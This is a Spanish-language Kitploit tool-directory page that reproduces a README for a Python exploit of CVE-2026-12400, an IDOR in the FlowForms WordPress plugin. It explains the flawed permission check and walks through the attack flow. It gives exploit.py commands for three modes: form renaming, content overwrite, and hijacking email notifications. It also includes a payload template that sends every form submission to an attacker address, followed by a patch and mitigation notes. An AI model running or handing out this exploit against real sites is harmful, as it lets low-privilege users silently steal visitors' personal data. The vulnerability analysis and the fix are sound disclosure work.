Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-12400-Exploit — Exploit en Python para CVE-2026-12400, una vulnerabilidad IDOR en el plugin FlowForms de WordPress que permite a contribuyentes autenticados modificar formularios arbitrarios y secuestrar notificaciones por correo electrónico. | Kitploit
Herramientas/GitHubGitHub/0x00phantom-hat/cve-2026-12400-exploit
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de Seguridad de APIsPruebas de PenetraciónAprendizaje y Educación
GitHub0x00phantom-hat/cve-2026-12400-exploit

CVE-2026-12400-Exploit

Exploit en Python para CVE-2026-12400, una vulnerabilidad IDOR en el plugin FlowForms de WordPress que permite a contribuyentes autenticados modificar formularios arbitrarios y secuestrar notificaciones por correo electrónico.

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir
Ver Repositorio
1hace 1 mesAún no revisado

CVE-2026-12400 — FlowForms IDOR: Modificación no autorizada de formularios

Referencia directa insegura a objetos autenticada (Colaborador+) para modificación arbitraria de formularios en FlowForms ≤ 1.1.1

Resumen de la vulnerabilidad

PropiedadValor
ID de CVECVE-2026-12400
Puntuación CVSS4.3 — Media
Vector CVSSCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:N
CWECWE-639 (Omisión de autorización mediante clave controlada por el usuario)
ProductoFlowForms — Plugin de formularios conversacionales para WordPress
AfectadoTodas las versiones hasta 1.1.1 inclusive
Corregido enCorregido en 1.1.2
InvestigadorPhantom Hat

Análisis técnico

Estudio de caso completo de caja blanca con análisis de código fuente, trazado de flujo de entrada y comparación de parches:

📄 CVE-2026-12400 Estudio de caso — Medium

Superficie de ataque

FlowForms expone dos endpoints de la API REST bajo el espacio de nombres flowforms/v1 que son vulnerables:

root@kitploit:~
POST /index.php?rest_route=/flowforms/v1/forms/{id}
POST /index.php?rest_route=/flowforms/v1/forms/{id}/settings

Ambos aceptan un {id} controlado por el usuario en la ruta URL y modifican los datos del formulario objetivo: nombre, contenido, diseño, URL de redirección y destinatarios de notificaciones por correo electrónico.

Causa raíz

Ambas rutas vulnerables comparten el mismo permission_callback defectuoso:

root@kitploit:~
// Update form content / name
register_rest_route($ns, '/forms/(?P<id>\d+)', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_form'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

// Update form settings (email notifications, layout, etc.)
register_rest_route($ns, '/forms/(?P<id>\d+)/settings', [
    'methods'             => WP_REST_Server::EDITABLE,
    'callback'            => [$this, 'update_settings'],
    'permission_callback' => fn() => current_user_can('edit_posts'),
]);

edit_posts es una capacidad que poseen los Colaboradores. El parámetro {id} nunca se verifica contra la propiedad del usuario solicitante: cualquier usuario autenticado puede atacar cualquier ID de formulario en el sitio.

Flujo de ataque

root@kitploit:~
Attacker (Contributor)              FlowForms REST API
        │                                   │
        │── POST /wp-login.php ────────────>│  (1) Authenticate as Contributor
        │<─ wordpress_logged_in cookie ─────│
        │                                   │
        │── GET /wp-admin/post-new.php ────>│  (2) Harvest REST nonce
        │<─ wpApiSettings.nonce ────────────│
        │                                   │
        │── GET /flowform/{id} ────────────>│  (3) Enumerate published forms
        │<─ HTTP 200 ───────────────────────│      (any accessible form is a target)
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4a) Overwrite form name / content
        │       with attacker payload ─────>│       ← no owner check
        │<─ { "success": true } ────────────│
        │                                   │
        │── POST /flowforms/v1/forms/{id}   │  (4b) Hijack email notifications
        │       /settings ─────────────────>│       ← attacker receives all
        │<─ { "success": true } ────────────│         future form submissions
        │                                   │
        │   All 3 attack vectors confirmed  │  (5) Name ✔  Content ✔  Email ✔

Tres vectores de ataque

El modo email es el más crítico. Tras el secuestro, cada envío al formulario de contacto de la víctima — incluyendo información de identificación personal (PII) de visitantes, mensajes y detalles de contacto — se reenvía silenciosamente a la dirección controlada por el atacante. El administrador del sitio no ve ninguna indicación del cambio.


Uso del Exploit

Requisitos previos

  • Python 3.8+
  • Una cuenta autenticada con al menos el rol Colaborador en el sitio objetivo

Instalación

root@kitploit:~
git clone https://github.com/0x00phantom-hat/CVE-2026-12400-Exploit.git
cd CVE-2026-12400-FlowForms-IDOR-Exploit
pip install -r requirements.txt

Modos de operación

Modificación del nombre

Renombrar cualquier formulario con contenido controlado por el atacante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit name

Modificación del contenido

Sobrescribir diseño del formulario, pantallas, URL de redirección e imágenes de fondo:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit content

Secuestro de notificación por correo electrónico (Mayor impacto)

Redirigir todas las futuras notificaciones de envío de formularios a una dirección controlada por el atacante:

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Con proxy (Burp Suite)

root@kitploit:~
python3 exploit.py \
  -u http://TARGET \
  -p http://127.0.0.1:8080 \
  --user contributor \
  --password password123 \
  -i 1 -n 100 \
  --exploit email

Referencia completa de flags

Personalización de cargas útiles

Las plantillas de carga útil JSON (NAME_EDIT, CONTENT_EDIT, EMAIL_EDIT) están definidas al inicio del script. Edítelas antes de ejecutar para personalizar el contenido del ataque: cambie la dirección de correo electrónico de notificación, la URL de redirección, la imagen de fondo, el título del formulario, etc.

root@kitploit:~
# Top of exploit.py

EMAIL_EDIT = json.loads("""{
    "settings": {
        "email": {
            "enabled": true,
            "notifications": {
                "1": {
                    "email": "[email protected]",   # ← change this
                    ...
                }
            }
        }
    }
}""")

Flujo de explotación

El exploit realiza tres pasos automatizados:

Paso 1 — Autenticar Inicia sesión como atacante (Colaborador) y obtiene un nonce válido de la API REST de wp-admin/post-new.php.

Paso 2 — Enumerar formularios Escanea GET /flowform/{id} en el rango de IDs especificado. Los IDs que devuelven HTTP 200 se recopilan como objetivos accesibles: son formularios publicados de cualquier usuario del sitio, incluidos administradores.

Paso 3 — Explotar Dependiendo del modo seleccionado, envía la carga útil correspondiente al endpoint REST desprotegido:

  • name / content → POST /flowforms/v1/forms/{id}
  • email → POST /flowforms/v1/forms/{id}/settings

El servidor acepta la solicitud y aplica la modificación sin verificar la propiedad.


Remedio

AcciónDetalles
ParcheReemplazar la verificación genérica de edit_posts por en ambos endpoints — vincular la verificación de capacidad al objeto de publicación específico aplica las reglas de propiedad de WordPress

Implementación segura

root@kitploit:~
// VULNERABLE — both endpoints
'permission_callback' => fn() => current_user_can('edit_posts'),

// SECURE (patched)
private function can_edit_form($form_id) {
    return current_user_can('edit_post', $form_id);
}

'permission_callback' => fn($request) => $this->can_edit_form(absint($request['id'])),

Referencias

  • CWE-639 — Omisión de autorización mediante clave controlada por el usuario
  • register_rest_route() — Documentación del desarrollador de WordPress
  • current_user_can() — Documentación del desarrollador de WordPress
  • Plugin FlowForms — WordPress.org

Estructura del proyecto

root@kitploit:~
CVE-2026-12400-FlowForms-IDOR-Exploit/
├── exploit.py   # Polished exploit with rich UI (3 modes)
├── requirements.txt            # Python dependencies
└── README.md                   # This file

Descargo de responsabilidad

Esta herramienta se proporciona únicamente para pruebas de seguridad autorizadas e investigación educativa. El acceso no autorizado a sistemas informáticos es ilegal según las leyes aplicables en todo el mundo. El autor no asume ninguna responsabilidad por el mal uso de este software. Obtenga siempre un permiso explícito por escrito antes de probar cualquier sistema que no posea.


Autor

Phantom Hat — Investigador de seguridad independiente

  • Medium: @phantom_hat
  • GitHub: 0x00phantom-hat

Esta investigación se realizó como parte de la divulgación responsable de vulnerabilidades.

Descargar herramienta
ModoEndpointImpacto
name/forms/{id}Renombrar cualquier formulario — desfiguración, ingeniería social
content/forms/{id}Sobrescribir diseño, pantallas de bienvenida/agradecimiento, URL de redirección
email/forms/{id}/settingsSecuestrar correo de notificación — recibir silenciosamente todos los envíos de formularios
FlagCortoDescripciónRequerido
--url-uURL objetivo de WordPress✅
--userNombre de usuario de WordPress (Colaborador+)✅
--passwordContraseña de WordPress✅
--id-start-iID de formulario inicial para enumerar✅
--num-forms-nNúmero de IDs de formulario a enumerar✅
--exploitModo de ataque: name / content / email✅
--proxy-pURL del proxy (ej. http://127.0.0.1:8080)❌
current_user_can('edit_post', $form_id)
MitigarHasta que se aplique el parche, restringir los roles Colaborador y Autor si el plugin está activo